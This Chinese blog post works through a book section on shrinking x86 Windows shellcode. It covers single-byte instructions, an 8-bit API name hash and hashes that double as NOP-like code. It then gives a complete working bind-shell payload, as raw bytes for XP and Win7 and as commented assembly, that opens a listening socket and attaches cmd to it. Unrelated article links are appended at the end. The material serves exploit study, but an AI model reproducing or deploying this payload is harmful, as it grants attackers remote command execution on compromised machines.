OD: Writing Small Shellcode
第 5.6 节讲述如何精简 shellcode,并实现一个用于端口绑定的 shellcode。原书中本节内容来自于 NGS 公司的安全专家 Dafydd Stuttard 的文章 “Writing Small Shellcode”
使用短小的指令
下面是一些非常有用的单字节指令
xchg eax,reg 交换 eax 和其他寄存器的值
lodsd 将 esi 指向的一个 dword 装入 eax,并增加/减少 esi
lodsb 将 esi 指向的一个 byte 装入 al,并增加/减少 esi
stosd 将 eax 的值存入 edi 指向的地址中,并增加/减少 edi
stosb 将 al 的值存入 edi 指向的地址中,并增加/减少 edi
pushad/popad 从栈中存储/恢复所有寄存器的值
cdq 用 edx 把 eax 扩展成四字,在 eax 小于 0x80000000 时等价于 mov edx,NULL 注意,以上操作中的增加/减少 reg,需要根据调和标志具体分析是递增还是递减。intel 默认是递增。
xchg、lods、stos 这些复合指令常常可以完成多个目的,事半功倍。
x86 功能相同或相似的指令长度可能相差很大,所以善于选用短小的指令。例如:
d0 c1 ; rol cl,
c0 c1 0x02 ; rol cl,
cl cl 0x02 ; rol cx,
善用内存、寄存器和 HASH
对于参数中有大量 NULL 的 API,可以先初始化一片内存为 NULL,之后仅需存入非 NULL 的参数并调用 API,节省压栈指令。
有些 API 需要很大的结构体做参数,大多数健壮的 API 允许参数中的两个结构体重合,特别是一个作输入参数一个作输出参数的时候,将这两个结构体重合也能正常执行。这时只要 push esp 就可以省去初始化输入参数结构体的麻烦。
很多 Windows 的 API 要求参数是特定的数据类型或者特定区间的取值,但实验可以发现健壮的函数对于非法参数也能正确处理。例如当参数中有结构体指针和指明结构体大小的数值时,只要数值足够大,函数就能正确执行。这时,内存中的内容(哪怕是代码),只要够大,就能直接用,节省压栈操作。
在编译器看来,系统栈仅仅是保护函数断点、暂存函数参数和返回值的地方,但开发 shellcode 时需要更多想像力。栈顶之上的数据逻辑上已经作废,但物理内容往往保存完好,这里只要抬高栈顶就能变废为宝。
按照调用约定,调用 API 时有些寄存器一直被保存在栈中(EBP、ESI、EDI 等)。可以把函数调用信息保存在寄存器中而不是栈中。比如大多数 API 执行过程中都不会用到 EBP,故可以用 EBP 来保存数据,而不是把数据保存在栈中。
x86 的指令有自己特殊用途,有的指令只能用特定寄存器,有的用特定寄存器时的机器码比用其他寄存器短。另外,如果寄存器中有函数调用需要的参数,可以用时保存到栈里,避免之后的重复取值过程。
实用的 shellcode 往往需要 200-300 字节的机器码,所以对原始的 shellcode 进行压缩或编码是很划算的,比如之前用到的函数名 hash digest。
而进行 hash 等计算时,如果计算结果正好是类似 0x90 的准 NOP 指令(准 NOP 不要求一定是 0x90,也可以是相对于上下文而言的不相关操作,比如当 ECX 不影响工作时,INC ECX 就可以当作 NOP),则可以把这些计算结果放在 shellcode 的头部,省去跳过这段数据的跳转指令,让处理器把数据当代码执行。总之,为了开发优秀的 shellcode,可以 “不择手段”。
优化 HASH 算法、定位 API
实现 bindshell 需要的 API 如下:
kernel32.dll : LoadLibraryA、CreateProcessA、ExitProcess
ws2_32.dll : WSAStartup(初始化 WinSock)、WSASocketA(创建 WinSock)、bind、listen、accept(处理外部连接)
只要在搜索 kernel32.dll 和 ws2_32.dll 时能避免哈希碰撞(如果发生碰撞,只要碰撞的第一个点就是所需目标也能接受——碰撞容忍)。考虑到碰撞容忍,kernel32.dll 中导出的 900 多个函数,只要精心选择,hash 值到 8bit 也能接受。
实现的 Hash 算法要求:正确工作、Hash 值短小、Hash 算法短小。
可以被双字节指令实现的 hash 算法中,有 6 种符合基本条件,6 种中有 1 种符合代码和数据重叠(碰撞容忍)要求。书中经过人工筛选使用如下 hash 算法(可用于出书时的所有基于 NT 的 Windows 版本,后续使用需要重新审查碰撞容忍)
; esi 指向 hash 计算的函数名, edx 初始化为 null
hash_loop:
lodsb ; load byte to al from func_name, esi++
xor al,0x71
sub dl,al
cmp al,0x71
7 jne hash_loop
以上 hash 计算的所需 API 结果如下:
| 函数名 | hash digest | 等价的准 NOP |
| LoadLibraryA | 0x59 | pop ecx |
| CreateProcessA | 0x81 | or ecx, 0x203062D3 |
| ExitProcess | 0xC9 | |
| WSAStartup | 0xD3 | |
| WSASocketA | 0x62 | |
| bind | 0x30 | |
| listen | 0x20 | |
| accept | 0x41 | inc ecx |
调用 CreateProcessA() 时,需要 cmd.exe 作为参数,已知调用不需要 exe 后缀,并且参数大小写不敏感,即 CmD、cMD 等价。参数 CMd 符合准 NOP 要求:
ASCII opcode function
---------------------------
C 0x43 inc ebx
M 0x4D dec ebp
d 0x64 FS: ; 取址前缀 FS 被处理器忽略
最终的 shellcode 如下( xp 下试验成功)
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 5.6 in book "Vulnerability Exploit and Analysis Technique" file name : bindshell.c
author : failwest
date : 2006.12.11
description : used to generate PE file and extracted machine code
Noticed : assume EAX point to the beginning of shellcode
can't be executed directly
have to be loaded by shellcode loader
version : 1.0
E-mail : failwest@gmail.com
reference :"Writing Small Shellcode", Dafydd Stuttard, NGS white paper, 2005.9.19
http://www.nextgenss.com/research/papers/WritingSmallShellcode.pdf Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/ #define DEBUG 1 char bs_win7[]=
"\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69"
"\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B\x45\x3C\x8B"
"\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A\x54\x24\x1C"
"\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E\x54\x6A\x02"
"\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50\x54\x55\xAD"
"\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56\xE4\xFF\x56"
"\xE8"; char bs_xp[]=
"\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xB6"
"\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B\x45\x3C\x8B\x4C\x05"
"\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A\x54\x24\x1C\x75\xEA"
"\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E\x54\x6A\x02\xAD\xFF"
"\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50\x54\x55\xAD\xFF\xD0"
"\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8"; int main()
{
#if(DEBUG)
__asm{
nop
nop
nop
nop
lea eax,bs_xp
push eax
ret
}
#else
__asm{
nop
nop
nop
nop
nop
; start of shellcode
; assume: eax points here
; function hashes (executable as nop-equivalent)
_emit 0x59 ; LoadLibraryA ; pop ecx
_emit 0x81 ; CreateProcessA ; or ecx, 0x203062d3
_emit 0xc9 ; ExitProcess
_emit 0xd3 ; WSAStartup
_emit 0x62 ; WSASocketA
_emit 0x30 ; bind
_emit 0x20 ; listen
_emit 0x41 ; accept ; inc ecx ; "CMd"
_emit 0x43 ; inc ebx
_emit 0x4d ; dec ebp
_emit 0x64 ; FS: ; start of proper code
cdq ; set edx = (eax points to stack so is less than 0x80000000)
xchg eax, esi ; esi = addr of first function hash
lea edi, [esi - 0x18] ; edi = addr to start writing function
; addresses (last addr will be written just
; before "cmd") ; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
//mov ecx, [ecx] ; for win7
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll ; make some stack space
mov dh, 0x03 ; sizeof(WSADATA) is 0x190
sub esp, edx ; push a pointer to "ws2_32" onto stack
mov dx, 0x3233 ; rest of edx is null
push edx
push 0x5f327377
push esp find_lib_functions:
lodsb ; load next hash into al and increment esi
cmp al, 0xd3 ; hash of WSAStartup - trigger
; LoadLibrary("ws2_32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0xc] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of ws2_32.dll
push edi ; save location of addr of first winsock function find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * ] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small) hash_loop:
lodsb ; load next char into al and increment esi
xor al, 0x71 ; XOR current char with 0x71
sub dl, al ; update hash with current char
cmp al, 0x71 ; loop until we reach end of string
jne hash_loop
cmp dl, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop ; we now have the right function mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
cmp esi, edi ; loop until we reach end of last hash
jne find_lib_functions
pop esi ; saved location of first winsock function
; we will lodsd and call each func in sequence ; initialize winsock push esp ; use stack for WSADATA
push 0x02 ; wVersionRequested
lodsd
call eax ; WSAStartup ; null-terminate "cmd"
mov byte ptr [esi + 0x13], al ; eax = if WSAStartup() worked ; clear some stack to use as NULL parameters
lea ecx, [eax + 0x30] ; sizeof(STARTUPINFO) = 0x44,
mov edi, esp
rep stosd ; eax is still ; create socket
inc eax
push eax ; type = (SOCK_STREAM)
inc eax
push eax ; af = (AF_INET)
lodsd
call eax ; WSASocketA
xchg ebp, eax ; save SOCKET descriptor in ebp (safe from
; being changed by remaining API calls) ; push bind parameters
mov eax, 0x0a1aff02 ; 0x1a0a = port , 0x02 = AF_INET
xor ah, ah ; remove the ff from eax
push eax ; we use 0x0a1a0002 as both the name (struct
; sockaddr) and namelen (which only needs to
; be large enough)
push esp ; pointer to our sockaddr struct ; call bind(), listen() and accept() in turn
call_loop:
push ebp ; saved SOCKET descriptor (we implicitly pass
; NULL for all other params)
lodsd
call eax ; call the next function
test eax, eax ; bind() and listen() return , accept()
; returns a SOCKET descriptor
jz call_loop ; initialise a STARTUPINFO structure at esp
inc byte ptr [esp + 0x2d] ; set STARTF_USESTDHANDLES to true
sub edi, 0x6c ; point edi at hStdInput in STARTUPINFO
stosd ; use SOCKET descriptor returned by accept
; (still in eax) as the stdin handle
stosd ; same for stdout
stosd ; same for stderr (optional) ; create process
pop eax ; set eax = (STARTUPINFO now at esp + )
push esp ; use stack as PROCESSINFORMATION structure
; (STARTUPINFO now back to esp)
push esp ; STARTUPINFO structure
push eax ; lpCurrentDirectory = NULL
push eax ; lpEnvironment = NULL
push eax ; dwCreationFlags = NULL
push esp ; bInheritHandles = true
push eax ; lpThreadAttributes = NULL
push eax ; lpProcessAttributes = NULL
push esi ; lpCommandLine = "cmd"
push eax ; lpApplicationName = NULL
call [esi - 0x1c] ; CreateProcessA ; call ExitProcess()
call [esi - 0x18] ; ExitProcess
nop
nop
nop
nop
nop
}
#endif
return ;
}
1. 这段 shellcode 执行前须约定 eax 指向 opcode 的开始。
代码写的很精炼,充分运用了本节进到的各种技巧。如果以后不看原书说明也能通过调试发现代码的精妙之处,则能力将比现在飞跃不少。
2. 利用前篇动态定位 API 时所用的方法(见上面代码第 88 行)修改后在 Win7 下实验不成功,实验时连第 103 行的 lodsb 结果都不正确(AL 被修改为 0xCC),不知道为何,先留下问题待以后有空再调。
OD: Writing Small Shellcode的更多相关文章
- 开发shellcode的艺术
专业术语 ShellCode:实际是一段代码(也可以是填充数据) exploit:攻击通过ShellCode等方法攻击漏洞 栈帧移位与jmp esp 一般情况下,ESP寄存器中的地址总是指向系统栈且不 ...
- shellcode 反汇编,模拟运行以及调试方法
onlinedisassembler https://onlinedisassembler.com 在线反汇编工具,类似于lda.功能比较单一. Any.run 等平台在线分析 将shellcode保 ...
- ASLR/DEP绕过技术概览
在经典的栈溢出模型中,通过覆盖函数的返回地址来达到控制程序执行流程(EIP寄存器),通常将返回地址覆盖为0x7FFA4512,这个地址是一条JMP ESP指令,在函数返回时就会跳转到这个地址去执行,也 ...
- 用汇编语言(ARM 32位)编写TCP Bind Shell的菜鸟教程
用汇编语言(ARM 32位)编写TCP Bind Shell的菜鸟教程 来源 https://www.4hou.com/info/news/9959.html Change 新闻 2018年1月19日 ...
- 3 CVE-2017-11882漏洞分析
CVE-2017-11882漏洞分析 操作系统:Windows7 32/64位 专业版.Linux 软件:office 2003 sp3 工具:OD.IDA.Python模块.msfconsole 1 ...
- OD: Shellcode Encoding
Shellcode 受到的限制 1. 大多数情况下 shellcode 中不允许出现 0x00 截断符,这个可以通过特殊指令来做到. 2. 有时候 shellcode 必须为可见的 ASCII 字符或 ...
- OD: Universal Shellcode
本节讲如果开发通用的 Shellcode. Shellcode 的组织 shellcode 的组织对成功地 exploit 很重要. 送入缓冲区的数据包括: . 填充物.一般用 0x90 (NOP) ...
- OD: Shellcode / Exploit & DLL Trampolining
看到第五章了. 标题中 Dll Tramplining(跳板)名字是从如下地址找到的,写的很好: http://en.wikipedia.org/wiki/Buffer_overflow#The_ju ...
- 逆向工程学习第二天--动手开发自己的第一个shellcode
一个简单的c语言添加windows管理员账号的小程序,之前在渗透的时候经常用到,现在拿它来做自己的第一个shellcode. C代码: #pragma comment(lib, "netap ...
随机推荐
- java学习笔记(12) —— Struts2 通过 xml /json 实现简单的业务处理
XML 1.引入dom4j-2.0.0.jar 2.引入jquery-1.8.2.js 3.新建common.js getInfo = function(){ $.post("getXmlA ...
- app.config动态修改及读取
1.添加应用程序配置文件 右键点击项目,选择“添加”→“添加新建项”→“添加应用程序配置文件”将其添加到项目中. 2.设置配置文件 <?xmlversion="1.0"enc ...
- smarty 变量调节器
变量调节器:<{$a|变量调节器}> 了解更多可以查询smarty手册 主要修改此页面的信息来了解变量调节器:main.php/main.html(0603) 1.利用给定的变量调节器 c ...
- php数组存到文件的实现代码
php的数组十分强大,有些数据不存入数据库直接写到文件上,用的时候直接require 第一次分享代码: (实际中有用到把数组存在到文件中的功能,不过分享的代码跟实际应用中的有点不同) 代码1: < ...
- 浮点数比较问题(float x 与 '零值'比较)
今天在牛客网上看到一道面试题,看完之后着实吃了一惊,自己平常都没有在意,看似简单的问题,实则考验了语言的基本功. 据说这是腾讯的面试题: float x 与“零值”比较的if语句为? if (x == ...
- 在at91sam9260处理器上调试linux2.6.33.7的过程
本文脉络: 1.SAM9260处理器介绍,单板机配置. 2.SAM-BA的运行机制与applets的修改. 3.修改bootstrap. 4.内核源码获取与打补丁. 5.基于ubuntu的开发环境搭建 ...
- 为ownCloud配置SSL连接
为ownCloud配置SSL连接 在你开始使用ownCloud之前,强烈建议你在ownCloud中启用SSL支持.使用SSL可以提供重要的安全好处,比如加密ownCloud流量并提供适当的验证.在本教 ...
- Eclipse插件管理
Eclipse 的特色之一,就是它的插件功能.可以说, Eclipse 是一个插件的大集合,所有的模块都以插件的形式存在.那么,究竟什么是插件呢? 插件( plug-in ),即 Eclipse 的功 ...
- oracle11g rac asm 实例内存修改
ASM实例内存修改 memory_max_target(它为静态参数,修改完成后需要重启实例) memory_target(它为动态参数,不需要重启实例) SQL> select name,is ...
- 【HDOJ】1315 Basic
这道题目巨坑啊,注意__int64,int wa了一个下午. #include <cstdio> #include <cstring> #include <cstdlib ...